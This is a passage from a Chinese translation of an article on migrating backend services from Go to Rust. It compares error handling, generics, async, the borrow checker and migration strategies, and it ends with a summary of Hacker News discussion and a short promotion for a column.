Repo(#[from] RepoError), } pub fn rename(id: UserId, name: \u0026amp;str) -\u0026gt; Result\u0026lt;User, UserError\u0026gt; { let mut user = repo::get(id)?; // ? 自动将 RepoError 转换为 UserError user.name = name.to_string(); Ok(user) } ? 运算符处理了错误传播，#[from] 处理了类型转换，而针对 UserError 的 match 是穷尽检查的。如果明天你添加一个新的错误变体，编译器会向你展示每一个需要更新的地方。\n不装箱的泛型 Go 在 1.18 中引入了泛型，它们很有用，但实现上有一些限制（不支持类型参数上的方法，GC shape stenciling，偶尔会有令人失望的性能表现）。Rust 泛型采用单态化（monomorphize），为每个实例生成具有零运行时开销的专门代码。结合 trait，这为你提供了真正的零成本抽象。\n这在处理程序（handler）代码中不那么重要，而在共享基础设施（中间件、通用存储库、解码器、解析器）中更重要，在 Go 中，你常常被迫退回到 interface{} / any 外加类型断言。\n可预测的延迟 Go 的 GC 非常优秀、并发、低停顿，针对典型的服务工作负载进行了很好的调优。但“低停顿”不等于“无停顿”。在重载情况下，P99 延迟尾部明显差于一个不在热路径上分配内存的 Rust 等效程序。\n我不会过分夸大这一点，对于绝大多数服务来说，Go 的 GC 根本不是问题。但对于延迟敏感的系统（交易、实时竞价、网络代理、高吞吐量数据摄入），没有 GC 停顿是一个巨大的卖点。Stephen Blum 把它说得很直接：\n“Go 在我们的规模下表现很好，但我们确实需要一些能给我们带来高性价比性能的东西，而 Rust 能够让我们达到那个目标。这就是为什么如今基本上所有的东西都在朝着 Rust 发展的原因。”\n— Stephen Blum, PubNub CTO, 摘自 Rust in Production\n总结 Go 像是遭受了千刀万剐（death by a thousand paper cuts）。它是一门非常实用的语言，如果你愿意忽略上述问题，你可以在其中获得极高的生产力。但在达到一定的代码规模后，问题就会开始累积。Go 失去吸引力并没有单一的瞬间，但团队会发现自己渴望更多（更多的安全性、更多的控制、更多的表现力），这就是他们开始寻找替代方案的时候。\nSide By Side的对比两种语言 在 Rust 中感到舒适的最快方法是映射你已经知道的模式。如果要看在两种语言中构建相同后端服务的更长、包含大量代码的完整示例，请参阅 Shuttle 对比文章，本节重点介绍最常出现的模式。\n错误处理：if err != nil 对比 Result\u0026lt;T, E\u0026gt; Go:\nfunc ReadConfig(path string) (*Config, error) { data, err := os.ReadFile(path) if err != nil { return nil, fmt.Errorf(\u0026#34;reading config: %w\u0026#34;, err) } var cfg Config if err := json.Unmarshal(data, \u0026amp;cfg); err != nil { return nil, fmt.Errorf(\u0026#34;parsing config: %w\u0026#34;, err) } return \u0026amp;cfg, nil } Rust:\nfn read_config(path: \u0026amp;Path) -\u0026gt; Result\u0026lt;Config, ConfigError\u0026gt; { let data = fs::read_to_string(path)?; let cfg = serde_json::from_str(\u0026amp;data)?; Ok(cfg) } ? 运算符替你完成了 if err != nil { return err } 的繁琐工作，如果为 E2 实现了 From，它还会进行类型转换（这在使用 thiserror 的 #[from] 时是惯用）。\n空值：nil 对比 Option Go:\nfunc GetUser(id string) *User { for _, u := range users { if u.ID == id { return \u0026amp;u } } return nil } u := GetUser(\u0026#34;123\u0026#34;) fmt.Println(u.Name) // 如果u 为 nil 则会发生panic Rust:\nlet user = get_user(\u0026#34;123\u0026#34;); println!(\u0026#34;{}\u0026#34;, user.name); // 编译错误：user 的类型是 Option\u0026lt;User\u0026gt;，而不是 User // 你必须处理这两种情况： match get_user(\u0026#34;123\u0026#34;) { Some(u) =\u0026gt; println!(\u0026#34;{}\u0026#34;, u.name), None =\u0026gt; println!(\u0026#34;not found\u0026#34;), } 在安全的 Rust 中没有 nil。引用不能是空的。指针可以是空的，但你几乎永远不会在应用程序代码中使用裸指针。\n接口 对比 Traits Go 的接口是结构化的，一个类型隐式地满足一个接口：\ntype Reader interface { Read(p []byte) (n int, err error) } Rust 的 trait 是标称的，你需要显式地实现它们：\npub trait Reader { fn read(\u0026amp;mut self, buf: \u0026amp;mut [u8]) -\u0026gt; std::io::Result\u0026lt;usize\u0026gt;; } impl Reader for MyType { fn read(\u0026amp;mut self, buf: \u0026amp;mut [u8]) -\u0026gt; std::io::Result\u0026lt;usize\u0026gt; { /* ... */ } } Go 的风格非常适合临时性的鸭子类型。Rust 的风格非常适合重构和可发现性，你可以用 grep 搜索某个 trait 的每个实现者。\nRust 中与 interface{} / any 最接近的等价物是 Box，但你几乎永远不会想要它。Go 社区习惯于伸手去拿 interface{}，也是因为：\n“interface{} 什么也没表达。”\n— Rob Pike, Go Proverbs\n带有 trait 约束的泛型函数（fn handle(r: R)）涵盖了绝大多数情况，并通过单态化提供无运行时开销。在 Go 1.18 之前，这迫使你退回到 interface{} 加上类型断言，而 Rust 的 trait + 泛型让你能够非常具体。\n当你确实需要运行时分发（例如，不同实现者的异构存储）时，你会选择 Box 或 Arc。这是 Go 中持有 interface 值最直接的 Rust 对应物。\nGoroutines 对比 异步任务 Go 的并发模型以简单著称：\ngo doWork(ctx, input) Goroutine 很廉价，运行时会在操作系统线程之间调度它们，而通道（chan T）是主要的协同原语。Go 谚语捕获了这一理念：\n“不要通过共享内存来通信；而要通过通信来共享内存。”\n— Rob Pike, Go Proverbs\n这是 Go 真正大放异彩的地方，并且它对为什么非常明确：在 Go 中，顺序代码和并行代码之间没有语法上的区别。函数签名、它的调用者，或关于它如何编写的任何内容都毫无二致。没有 async fn，没有 .await，没有执行器可供选择，也没有 Send / Sync 约束。只要你不共享可变状态而不进行同步，顺序代码和并发代码看起来是一样的。\n这种属性，即没有函数着色（function colouring），是 Go 相比 Rust 最大的日常生产力优势，而在迁移之后，这也是 Go 开发者最怀念的东西。Lobste.rs 讨论中的几位评论者准确地指出了这一点，他们说得很对。Rust 的 async 更加强大且经过更多检查，但它的显式度也更高，这带来了真正的开发体验成本。\nRust 在执行器（对于后端服务几乎总是 tokio）之上使用 async/await：\ntokio::spawn(async move { do_work(input).await; }); 形式很相似。不同之处在于：\nRust 的异步函数返回 Future。除非被 .await 或 spawn，否则它们不会运行。 编译器会跨 .await 点验证 Send/Sync 约束。如果你在跨 .await 期间持有一个非 Send 的值，你会得到一个非常精确的编译器错误，解释其原因。 没有内置的 goroutine 风格的抢占。异步任务中长时间运行的 CPU 工作会使执行器饥饿；你需要将其卸载到 tokio::task::spawn_blocking 或 rayon。 通道（tokio::sync::mpsc、broadcast、watch）是一流的，但存在于库中，而不是语言本身。 对于大多数后端代码，日常体验是类似的：启动一个任务，通过通道进行通信，并大方地使用超时。\ncontext.Context 对比 CancellationToken 在 Go 中，你将 context.Context 传给每个阻塞调用：\nfunc (s *Service) Fetch(ctx context.Context, id string) (*User, error) { return s.client.Get(ctx, \u0026#34;/users/\u0026#34;+id) } Rust 没有内置的 context.Context。最接近取消的等价物是 tokio_util::sync::CancellationToken：\npub async fn fetch(\u0026amp;self, token: CancellationToken, id: \u0026amp;str) -\u0026gt; Result\u0026lt;User, FetchError\u0026gt; { tokio::select! { _ = token.cancelled() =\u0026gt; Err(FetchError::Cancelled), res = self.client.get(\u0026amp;format!(\u0026#34;/users/{}\u0026#34;, id)) =\u0026gt; res, } } 对于超时，tokio::time::timeout(dur, fut) 可以包装任何 future。对于截止时间/值，你通常将它们作为显式参数传递，或者使用 tracing span 而不是单一的上下文对象。\n一些 Go 开发者怀念 ctx 的隐式感。但在实践中，显式的 Rust 风格更容易让人推断，因为你总是确切地知道什么是可以取消的，什么是不可以的。更深层次的观点是，没有任何一种语言可以免费给你取消机制，只是规约出现在不同的层面上：\n“Go 并没有办法告诉一个 goroutine 退出。没有停止或杀死函数，这是出于充分的理由。如果我们不能命令一个 goroutine 退出，那么我们就必须礼貌地请求它。”\n— Dave Cheney, The Zen of Go\n在 Go 中，这种“礼貌地请求”是通过约定俗成地在每个调用点传递并检查 context.Context。在 Rust 中，则是 CancellationToken（或 watch 通道）传给每个调用点，但编译器实际上可以在你忘记时提醒你。\n通道 两种语言都有通道。翻译很直接：\nGo:\nch := make(chan int, 10) go func() { ch \u0026lt;- 42 }() v := \u0026lt;-ch Rust:\nlet (tx, mut rx) = tokio::sync::mpsc::channel::\u0026lt;i32\u0026gt;(10); tokio::spawn(async move { tx.send(42).await.unwrap(); }); let v = rx.recv().await.unwrap(); Rust 的通道将发送端（Sender）和接收端（Receiver）区分为不同的类型，这使得所有权和 Send 属性在类型层面是显式的。\n结构体与方法 Go:\ntype Circle struct { Radius float64 } func (c Circle) Area() float64 { return math.Pi * c.Radius * c.Radius } Rust:\npub struct Circle { pub radius: f64, } impl Circle { pub fn area(\u0026amp;self) -\u0026gt; f64 { std::f64::consts::PI * self.radius * self.radius } } Rust 的 \u0026amp;self 相当于 Go 的值接收者；\u0026amp;mut self 是一个带有修改权限的指针接收者。拥有的 self（消耗该值）在 Go 中没有对应物，但在（类型状态、构建器）模式中偶尔非常有用。\n字符串：string 对比 String 与 \u0026amp;str Go 的 string 是一个具有赋值时拷贝语义的 UTF-8 字节切片（头部被复制，底层数据是不可变且共享的）。Rust 将其分为两种类型：\nString：拥有的、堆分配的、可增长的。相当于你打算修改的 []byte。 \u0026amp;str：借用的视图，指向别人的字符串数据。大部分时间相当于作为 Go 的 string 参数使用。 作为一条经验法则，参数中接收 \u0026amp;str，在生成新数据时返回 String。\nfn greet(name: \u0026amp;str) -\u0026gt; String { format!(\u0026#34;Hello, {name}\u0026#34;) } 一旦你内化了这一点，这基本上是无痛的。\u0026amp;str 与 String 的划分是 Rust 更广泛的“借用与拥有”模型的一个缩影。\nGo 泛型：太少，太迟 Go 在 1.18（2022 年 3 月）引入了泛型，在语言出货十三年之后。它们很有用，但由于它们是后期补丁（tacked on），在实践中它们具有大多数你期望从 Rust、Haskell 甚至现代 C++ 获得的泛型系统的缺点，却没有任何优点。\n这是一个很强烈的说法，所以让我来支持它。\n标准库几乎不使用它们 最明显的信号是，在泛型落地三年后，Go 自己的标准库仍然主要避免使用它们。sort.Slice 仍然接受一个 func(i, j int) bool 闭包，而不是 cmp.Ordered 约束。sync.Map 仍然被类型化为 any / any。除了 slices、maps 和少数组件外，几乎没有它们的身影。\n公平地指出，向后兼容性是这里的主要原因：Go 1 的兼容性承诺意味着现有的非泛型 API 无法重构，因此任何泛型版本都必须与其并存（或在新的包中）。但这只是解释的一部分。已经有足够的时间来引入泛型替代方案，而几乎没有出现这一事实表明语言设计者并不倾向于将泛型作为他们使用的主要工具。\n将其与 Rust 进行对比，在 Rust 中，泛型从第一天起就渗透到了标准库中：Option、Result\u0026lt;T, E\u0026gt;、Vec、HashMap\u0026lt;K, V\u0026gt;、Iterator、From、Into、AsRef、Borrow，每个集合、每个智能指针。在不使用泛型的情况下，你根本无法写出惯用的 Rust，因为标准库本身就是泛型的。\n在 Go 中，泛型是库作者在确实需要时才选择使用的功能。在 Rust 中，它们是构建一切事物的底层基石。\n没有 Trait 系统，只有结构化约束 Rust 的泛型与 trait 绑定，trait 兼作该语言进行多态、超类、关联类型、毯子实现（blanket impls）和一致性的机制。\nGo 的约束只是带有一个额外 ~ 运算符的接口，用于类型集成员资格。这里没有：\n超类 / 约束继承体系： 在 Rust 中，你写 trait Ord: Eq + PartialOrd，任何满足 T: Ord 的类型自动满足 Eq 和 PartialOrd。Go 没有等价物；你可以嵌入接口，但约束求解器并不推断关于层次结构的任何信息。 关联类型： Rust 的 Iterator 有 type Item;，因此 T::Item 是第一等公民，这体现在每个方法的签名中。Go 最接近的等价物是第二个类型参数，这会泄露到每个方法签名中。 毯子实现（Blanket impls）： 在 Rust 中，impl ToString for T 会自动为每一个实现了 Display 的类型实现 ToString 方法。在 Go 中，没有办法在定义包之外，为一个类型添加方法。 拥有自己类型参数的方法： 这是一个显式且有文档记录的 Go 缺失功能 (译注：Go 1.27将补全泛型方法这一特性)。你不能写 func (s Set[T]) Map[U](f func(T) U) Set[U]。在 Rust 中，泛型方法是家常便饭。 实际的后果是，当你的抽象需要不仅仅是一个“适用于任何 T 的函数外加这几个操作”时，Go 就会迫使你退回到 any 以及类型断言、代码生成或运行时反射。\n类型推导止于函数边界 Rust 使用 Hindley-Milner 风格的推导引擎，可以跨整个表达式传播类型信息，包括跨闭包、迭代器链和 ? 运算符。你经常写：\nlet evens: Vec\u0026lt;_\u0026gt; = (0..100).filter(|n| n % 2 == 0).collect(); 而编译器会推断出 _ 是 i32，而 Vec\u0026lt;_\u0026gt; 目标是 Vec。\nGo 的推导要浅得多。它通常可以推断出函数参数的类型，但它不能从返回位置上下文中推断，不能通过泛型构建器跨链推断，并且经常在调用处强制使用显式的类型参数：\nresult := slices.Collect[int](iter) // 经常需要 在 Rust 中这是例外；在 Go 中这仍然很常见。\n单态化 对比 GC Shape Stenciling 泛型没有免费的午餐：你必须要么在编译时买单，要么在运行时买单，要么通过代码膨胀（JIT）买单。C++ 和 Rust 在编译时通过单态化买单。Java 在运行时通过装箱买单。Go 选择了折中路线，采用了 GC 形状模板和字典，这有一篇众所周知的 PlanetScale 文章正好展示了这一点。\nRust 进行单态化：每个 Vec 和 Vec 都会产生专门的机器代码，具有零运行时开销。泛型代码是快速路径，而退回到 dyn Trait（相当于 Go 的接口分发）是一个深思熟虑的选择，在你需要运行时多态时做出。你要为单态化付出编译时间的代价，这和 C++ 几十年来付出的代价一样，但它们只是针对不同的事情进行了优化。\n它们没有填补类型系统中的漏洞 这是最让我困扰的部分。\n一个好的泛型系统可以消除退回到逃生舱口的理由。在 Rust 中，泛型 + trait 消除了你对 Box 或运行时反射的大部分需求。类型系统变得更强大了。\n在 Go 中，泛型并没有消除 any，没有消除 reflect，没有消除代码生成作为诸如 ORM、解码器和 mock 等事物的首选模式。encoding/json 仍在使用反射。database/sql 仍在使用 any。mockgen 仍会生成代码。如果泛型系统能够大放异彩，最应该发挥作用的地方，正是 Go 在 1.18 之前就伸手去拿运行时机制的那些地方。\nGo 中的泛型感觉是累加的，只是箱子里的一个新工具，在狭隘的案例中很有用。Rust 中的泛型感觉是基石般的；将它们移去，语言就会崩溃。\n这就是区别所在，也是为什么在我的经验中，泛型 Go 代码读起来并不比它取代的基于 interface{} 的代码好；它只是读法不同，有更多标点符号罢了。\n流行的 Go 包及其 Rust 对应物 如果你已经在 Go 中有了自己的偏好，Rust 生态系统已经趋于相似级别的“默认选择”。对于一个典型的后端服务：axum + sqlx + tokio + tracing + serde + clap 覆盖了你 90% 的需求。\n过渡到 Rust 的关键挑战 我想坦率地说。从 Go 过来，你将会碰壁。这堵墙有一个名字。\n借用检查器 Go 的运行时替你处理内存和别名。Rust 将这个决定推入类型系统。前几个星期你会写出“显然应该工作”的代码，然后编译器会拒绝它。\n最常困扰 Go 开发者的模式有：\n长生命周期引用： 在 Go 中，你可以很开心地在 map 中持有一个 *User，只要你愿意。在 Rust 中，该借用会在整个生命周期中锁住 map。解决方案通常是克隆（clone），或者缩小借用范围。 自引用结构体： 在 Go 中很常见（一个结构体同时持有数据和其上的迭代器）。在 Rust 中，这需要 Pin、ouroboros 或重新设计。几乎总是选择：重新设计。 跨 goroutine 共享可变状态： 在 Go 中你写成：mu sync.Mutex; data map[K]V，而在 Rust 中则变成 Arc\u0026lt;Mutex\u0026lt;HashMap\u0026lt;K, V\u0026gt;\u0026gt;\u0026gt;。稍微啰嗦一些，但经过了更多检查。 从函数返回引用： 生命周期标注（Lifetime annotations）就此出现。它们并不像其声誉那样糟糕，但对新手来说确实很陌生。 在所有的这些规则下，借用检查器确实听起来像一个“守门人”，不断阻碍，并且让人感到沮丧。但是，当你开始使用 Rust 时，不应该带着那样的心态。借用检查器真正揭示了你代码中现有的非常真实、非常微妙的 bug，如果你不解决它们，你的程序就会存在安全问题。因此，每当你从 rustc 得到编译器错误时，请退后一步，问自己以下几个问题：\n如果一个值被移动（moved）了，之后如果原位置试图再次使用它会发生什么？ 如果一个值被共享（shared）了，如果在另一个线程使用它的同时，有一个线程对其进行了修改会发生什么？ 如果一个指针被解引用（dereferenced），如果它是空值或悬空指针会发生什么？ 当一个值超出作用域（goes out of scope）时，如果其他地方仍然持有的引用正在被使用会发生什么？ 这就是你需要理解借用检查器的心态。人类在推理内存方面真的很糟糕。我们很容易忘记指针可以为空，忘记旧的引用可以比它们指向的数据存活得更久，忘记多个线程可以同时修改同一块数据。我们倾向于对数据在程序中如何流动有一个“线性”的心理模型，但现实中它更接近于一个具有多条路径和交互的复杂图形。每一个 if 条件都会强制你考虑这两种分支中会发生什么。这正是借用检查器旨在为你做的事情！它强制考虑那些极其罕见但确实存在的、当你觉得可能不会发生但就是发生了的代码路径。\n借用检查器其实是一个巨大的解脱。一旦它通过了，你就知道你的内存状态是 100% 连贯的，你可以专注于更高层次的问题。这也就是 Ed Page（clap 的维护者）说的：\n“当你们刚开始接触它时：会感到沮丧。它让我想起了第一次学习编程的感觉，因为它太不一样了。由于借用检查器和生命周期，我不想去处理那些东西——但我被迫去了。”\n— Stephen Blum, CTO, PubNub, 摘自 Rustacean Station\n“……能够专注于更高层次的问题。在我进行自我分析并失败时，它帮助我发现了问题。”\n— Ed Page, 摘自 Rustacean Station: clap with Ed Page\n编译时间 对你的团队保持诚实，Rust 的编译时间相比 Go 的近乎瞬时的编译确实是一个退步。对于中等规模的服务，全新发布构建可能需要几分钟。增量构建和 cargo check 是合理的，并且编译时间在这些年里已经好了很多，但你仍然会感觉到差异。\n为了缓解这种情况，在你的编辑循环中使用 cargo check，在项目见效后将其拆分进 workspace 中，并让你自己的 crate 中不要包含过程宏（proc-macro-heavy）重度依赖，这样它们就只在发生变化时才重新编译。请参阅《加速 Rust 编译时间的技巧》以进行更深入的探讨。\n异步着色 正如《Goroutine 对比 异步任务》中所讨论的，Rust 的 async fn / fn 拆分是从 Go 迁移过来时最大的开发体验退步之一。异步 trait 自 Rust 1.75 以来已经稳定，但在将它们与动态分发结合时，仍然存在一些粗糙的边缘，你偶尔需要借助 async-trait crate 来解决。\n某些细分领域中生态系统较小 Rust 的 crate 生态系统正在增长，并且库在整体上具有很高的质量，但 Go 在一些后端相邻领域具有领先优势：Kubernetes operator、云提供商 SDK、某些特定生态系统的数据库驱动。在做出承诺之前，请花一天时间检查你依赖的库是否具有你愿意使用的 Rust 对应物。我协助的团队经常不得不自己动手实现至少一两个核心库——例如，他们可能需要更新一个废弃的 XML 架构验证 crate，或为较少人知的协议编写自己的客户端。\n集成策略 你不需要一次性重写所有内容。我听到的每一个成功的 Go 到 Rust 迁移案例都是战术性的，而不是大爆炸式的重写。Microsoft 的 Victor Ciura 总结得很到位：\n“我们并不是疯狂地到处为了好玩而用 Rust 重写一切。我们在做出这些战术性选择，我们会说：好的，这个新组件，如果我们用 Rust 编写会更好。”\n— Victor Ciura, 首席工程师, Microsoft, 摘自 Rust in Production\n最有效的策略，按照我通常推荐的顺序如下：\n1. 将“开辟热门路径”作为一种服务来提供 如果你的系统中某个特定服务一直存在各种问题（比如高 CPU 使用率、对延迟敏感，或者经常出现可靠性问题），那么你可以只用 Rust 重新编写这个服务，同时保持与原有 API 的兼容性。这是风险最低的迁移方式。其他用 Go 编写的服务仍然可以通过 HTTP/gRPC 与这个服务进行交互，而无需关心其底层编程语言是什么。Radar 公司的 Jeff Kao 指出，Discord 上的那些成功案例往往能激发团队尝试这种迁移方式的勇气。\n如果你在 Hacker News 上搜索“迁移到 Rust”，第一个搜索结果一定是关于 Discord 从 Go 语言切换到 Rust 的报道。这一消息激励了我们，让我们也想看看自己是否也能做到同样的事情。\n——Radar 公司的首席技术官 Jeff Kao 谈 Rust 在实际生产环境中的应用\n2. 更换 Sidecar/Worker 进程 后台任务、队列消费者、数据摄取管道以及那些依赖 CPU 处理的批量作业，都是绝佳的优化目标。这些任务通常具有明确的输入/输出边界（比如队列或主题），且不会与系统的其他部分共享任何状态信息。\n3. 使用 cgo 是可行的，但过程相当繁琐/麻烦 可以通过 cgo 在 Go 语言中调用 Rust 代码，关于如何操作的详细指南也很容易找到。（如果你需要我提供相关的指南，请随时联系我。）不过，实际上我并不推荐将 Rust 用于后端服务。与“直接创建一个 Rust 服务并将其置于网络调用之后”相比，其构建的复杂性以及 FFI 相关的开销通常会超过其带来的好处。不过，对于库和 CLI 工具来说，使用 Rust 则更为合适。\n4. 网关背后的“绞杀者”模式 如果你使用了 API 网关或反向代理，就可以将特定的端点指向新的 Rust 服务，而其余部分则继续使用 Go 语言来实现。当某个特定的业务领域（如身份验证、搜索、计费）适合被迁移时，这种做法尤为有效。这种模式通常被称为“绞杀者模式”：新服务会逐渐取代旧服务，最终完全取代它。\n实用的迁移技巧 从一个边界清晰的服务开始。 不要选择你机群中最核心、部署最多的服务。挑一个与其他系统的契约定义清晰且影响范围较小的服务。 保持相同的 API 契约。 如果你的 Go 服务暴露了 REST API，你的 Rust 服务也应该如此：相同的路径、相同的 JSON 格式、相同的错误响应。这样迁移对客户端是透明的，你可以通过网关安全地切换流量。 不要逐字翻译习语。 克制住写“Go 风格 Rust”的冲动。将 if err != nil { return err } 转换为 ?。将 goroutine-per-request 转换为 tokio::spawn。只在真正需要时（axum 会并发地为你处理请求）才使用它们。带有单一方法的接口通常在 Rust 中表现为泛型约束，而不是 Box。 将编译器作为结对程序员。 Rust 的编译器错误通常非常有帮助。仔细阅读它们。它们几乎总会告诉你正确的答案。挣扎最久的团队成员通常是将编译器视为敌人而不是合作者的那些人。 尽早投资于培训。 我经常看到团队试图通过“边做边学”来进行 Rust 迁移。这很少有好的结果。这有点像通过直接去跑马拉松并试图在跑的过程中摸索来为马拉松训练。你可以做到，但这将是极其痛苦的，而且你可能无法坚持到终点。为学习留出一些不被打扰的时间：一场研讨会，一个在线课程，以及在真实代码上进行结对。前期投入在团队流利掌握后会数倍地回报。(顺便说一下，如果你想讨论培训方案，我很乐意聊聊。) 保持 Go 语言的优势所在 并非所有东西都需要被迁移。Go 语言在以下方面表现优异：\nKubernetes 原生工具：Operator、controllers、CRD。该生态系统几乎完全由 Go 语言构建而成。 CLI 工具和开发工具：编译速度快、跨平台编译简单、部署便捷。 胶水层服务：包括薄的 API 层、代理(proxy)服务器以及格式转换器。在 Rust 中，编写这些重复性的代码并不值得。 在任何情况下，团队的工作效率都比追求绝对的准确性更为重要。 这并非什么小众职位。对于一家能够大规模提供这两种语言服务的公司来说，这一职位的设立显然意味著更重要的意义：\nGo 语言是构建网络服务的绝佳选择。在 Canonical 公司，我们大量使用 Go 语言来开发软件——Juju 就是一个由 Go 语言编写的庞大软件项目。\n——Canonical 公司工程部副总裁 Jon Seager 谈 Rust 在现实生产环境中的应用\n混合策略其实很不错，也很常见。与我合作的许多团队都会采用这种策略：对于那些“没什么特别要求”的服务，使用 Go 语言来开发；而对于那些需要确保可靠性和性能的服务，则使用 Rust 语言来开发。\n预期的改进/有望取得的提升 根据工作量的不同，具体数字会有很大差异，因此这些数据仅供参考而已。请不要把它们当作绝对的承诺！不过，以下是我在协助进行从 Go 语言到 Rust 语言的迁移过程中所得到的一些大致数据：\nCPU 使用率：降低了 20%到 60%。这一效果不如将代码从 Python 转换为 Rust 时那么显著，因为 Go 本身的效率就已经很高了。其优势主要体现在无需进行垃圾回收，以及代码循环的效率更高。 内存占用：减少了 30%到 50%，这主要得益于无需进行垃圾回收操作，以及运行时的开销更低。 P99 延迟方面：Rust 服务的稳定性明显更高。Go 服务则容易出现由垃圾回收引起的延迟波动。不过，自从 Go 语言引入了低延迟垃圾回收机制后，这种情况已经有所改善，但在高负载情况下，两者之间的差异依然存在。 生产环境中的问题：这是各团队最乐于报告的问题类型。那些在测试阶段被发现，但最终还是进入了生产环境的错误类型（如数据竞争、空指针引用、错误处理路径被遗漏等），在 Rust 中根本无法编译通过。在从其他语言切换到 Rust 之后，处理这些问题的过程通常相当繁琐。Andrew Lamb 在 InfluxDB 的重写过程中也详细描述了这种现象。 “我不需要去追踪崩溃，或者某些奇怪的多线程竞争条件，或者其他那些实际上消耗了我之前大部分时间的事情。”\n— Andrew Lamb, 软件工程师, InfluxData, 摘自 Rustacean Station: Rebuilding InfluxDB with Rust\n说实话，与从 Python 转向 Rust 相比，从 Go 转向 Rust 后，很难实现 10 倍的性能提升。不过，你确实能减少“愚蠢的错误”，降低延迟，同时还能继续使用同一种语言来开发嵌入式系统或进行系统编程。这往往是代码迁移带来的最令人惊喜的副作用：那些原本需要使用不同编程语言的团队，现在可以共享代码了。Rust 几乎可以用于所有类型的开发场景。\n结论 从 Go 迁移到 Rust 是与从 Python 或 TypeScript 迁移完全不同的一种类型。从 Go 过来，你深知静态类型、编译型语言的好处。所以你并不是在用动态类型或缓慢的运行时去交易。你是在交易 nil，换来一个漏洞更少、更健壮的代码库、更严格的编译器（可在编译时捕获更多错误）。不过，这里有一条更陡峭的学习曲线。\n对于基础服务（你的组织所依赖的、需要极高可靠性、对你的业务至关重要的服务），这个迁移方式显然是值得的。对于其他服务，Go 仍然是正确的答案。迁移的目的是在最适合的语言中解决对应的问题。\n准备好迈向 Rust 了吗？\n我协助后端团队评估、规划并执行 Go 到 Rust 的迁移。无论你需要架构评审、培训，还是协助将关键服务进行移植，让我们聊聊你的需求吧。\n原文正文到此为止！ 社区深度观点 Matthias 的这篇文章在 Hacker News 上也引发了热烈的辩论。支持者、怀疑者、以及拥有多年双语言实战经验的系统架构师们纷纷下场，就 Go 与 Rust 的工业级博弈分享了大量第一手观点。我对其中的核心争议与洞察进行了系统性汇总：\n1. 核心分水岭：你是否需要一个“托管运行时（Managed Runtime）”？ 在 HN 的讨论中，社区普遍赞同的一个终极共识是：Go 与 Rust 的选择，90% 程度上取决于你是否想要一个托管运行时（垃圾回收，GC）。\nGo 拥护者认为：世界上 95% 的应用都是普通的商业业务系统（LOB）。在这类场景下，Go 拥有世界上最优秀的并发 GC。它的高并发开销极小，虽然在 P99 停顿指标上存在微弱的抖动（Jitter），但对于绝大多数企业级 Web 后端而言，这完全可以忽略不计。 Rust 拥护者反驳：GC 不仅带来时延抖动，更重要的是它占用了额外的内存（通常需要 30%-50% 的额外物理内存作为缓冲来减少 GC 频率）。在超大规模云原生部署中，Rust 消除 GC 后带来的物理内存节省，可以直接转变为服务器账单上极具说服力的“降本增效”数字。 2. 编译速度与迭代效率的残酷现实 编译速度是 Go 阵营攻击 Rust 最锋利的武器之一。\nGo 的快：Go 从设计之初就将编译速度作为核心优先级（由汇编器和简化的类型系统支撑）。在开发中，修改代码到重新运行几乎是“即时”发生的，这带来了极佳的开发体验和迭代速度。 Rust 的痛：由于采用了复杂的宏系统（Macros）和深度的单态化（Monomorphization）编译期展开，即使是增量编译，Rust 在大型项目中的等待时间依然可能长达数分钟。多位开发者抱怨：“在使用 AI 辅助编程或高频调试时，Rust 漫长的编译等待时间严重降低了开发者的心智流畅度。” 3. 错误处理理念的终极碰撞 在错误处理上，两个阵营各执一词，表现出截然不同的“开发文化”：\nGo 的显式哲学：Go 拥护者（包括知名技术领袖 Peter Bourgon）强调，错误处理应当是显式的，这应该作为语言的核心价值观。 尽管 if err != nil 冗长，但它逼迫你在每一行可能出错的代码旁停下来，思考当前上下文的应对策略，而不是用一个抽象的 ? 闭着眼睛把错误向上抛出。 Rust 的类型保障：Rust 拥护者则认为，Go 的显式是一种“依靠肉体纪律维持的低效工程学”。一旦团队规模扩大，总有人会遗漏处理。而 Rust 将错误融入 Result\u0026lt;T, E\u0026gt; 类型签名，由编译器在底层进行穷尽性校验（Exhaustive checks），在代码简洁度（使用 ?）与安全性（不漏掉任何一种分支）之间找到了近乎完美的工程平衡。 4. 生态系统的对比：标准库（Batteries-Included）与模块化 Crates 依赖 开发者对两门语言的第三方生态设计表现出了明显的温度差：\nGo 的稳定：Go 拥护者非常自豪于 Go 极其庞大且强大的核心标准库。你不需要引入任何第三方库，就能用纯标准库写出高可用的 HTTP 服务器、加解密引擎和网络代理。这避免了类似 Node.js 社区的“Dependency Hell（依赖地狱）”和安全供应链攻击风险。 Rust 的模块化：Rust 的标准库非常克制，甚至连异步运行时（tokio）、序列化（serde）和命令行解析（clap）都是第三方包。一些 Go 开发者迁往 Rust 后表达了这种不适：“在 Rust 里，写个简单的后台服务，一不小心就引入了上百个第三方 Crates，这让人有些缺乏安全感。” 5. AI 与 LLM 时代的编码体验 这是一个极具 2026 年时代特色的前沿议题。讨论区多位开发者分享了在使用大模型（如 Claude Code、Cursor）编写这两门语言时的反差体验：\n* AI 写的 Rust 质量低下：由于 Rust 的生命周期（Lifetimes）和借用规则极度精密，AI 经常会生成那些无法通过编译的“幻觉代码”，试图滥用 Mutex、RefCell 等高级特权，或者在多线程中引入生命周期冲突。\n* 但 Rust 拥有最强“安全网”：然而，反直觉的是，很多开发者表示他们更喜欢让 AI 写 Rust 而非 Go。因为如果 AI 写的 Go 逻辑错了（比如漏了 nil 检查或并发读写未加锁），代码依然能完美编译通过，并在生产环境中引发极其隐蔽的线上故障。而在 Rust 中，“只要 AI 写的代码能通过编译器的金睛火眼，我们几乎就可以闭着眼睛放心地把它部署上线。”\n编辑结语：如何选择你的下一张船票？ Go 和 Rust 的博弈，本质上是**“高带宽易上手的生产效率”与“编译期极致安全的正确性承诺”**之间的路线之争。\n如果你正在构建一个高速迭代、团队规模庞大、需要快速抢占市场的业务系统，Go 依然是那张最稳健、最不容易出错且极其务实的船票。\n但如果你的系统已经走过了野蛮生长阶段，开始面临极其严苛的 P99 停顿要求、高并发下的内存与 CPU 账单压力，或者是不容许有任何运行时恐慌（Panics）的国防级、金融级系统，那么正如 Matthias 团队所验证的那样，忍受 Rust 的学习曲线和编译成本，将为你换来长达数年、在睡梦中都无比踏实的“终极安全感”。\n资料链接：\nhttps://corrode.dev/learn/migration-guides/go-to-rust/ https://news.ycombinator.com/item?id=48259808 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 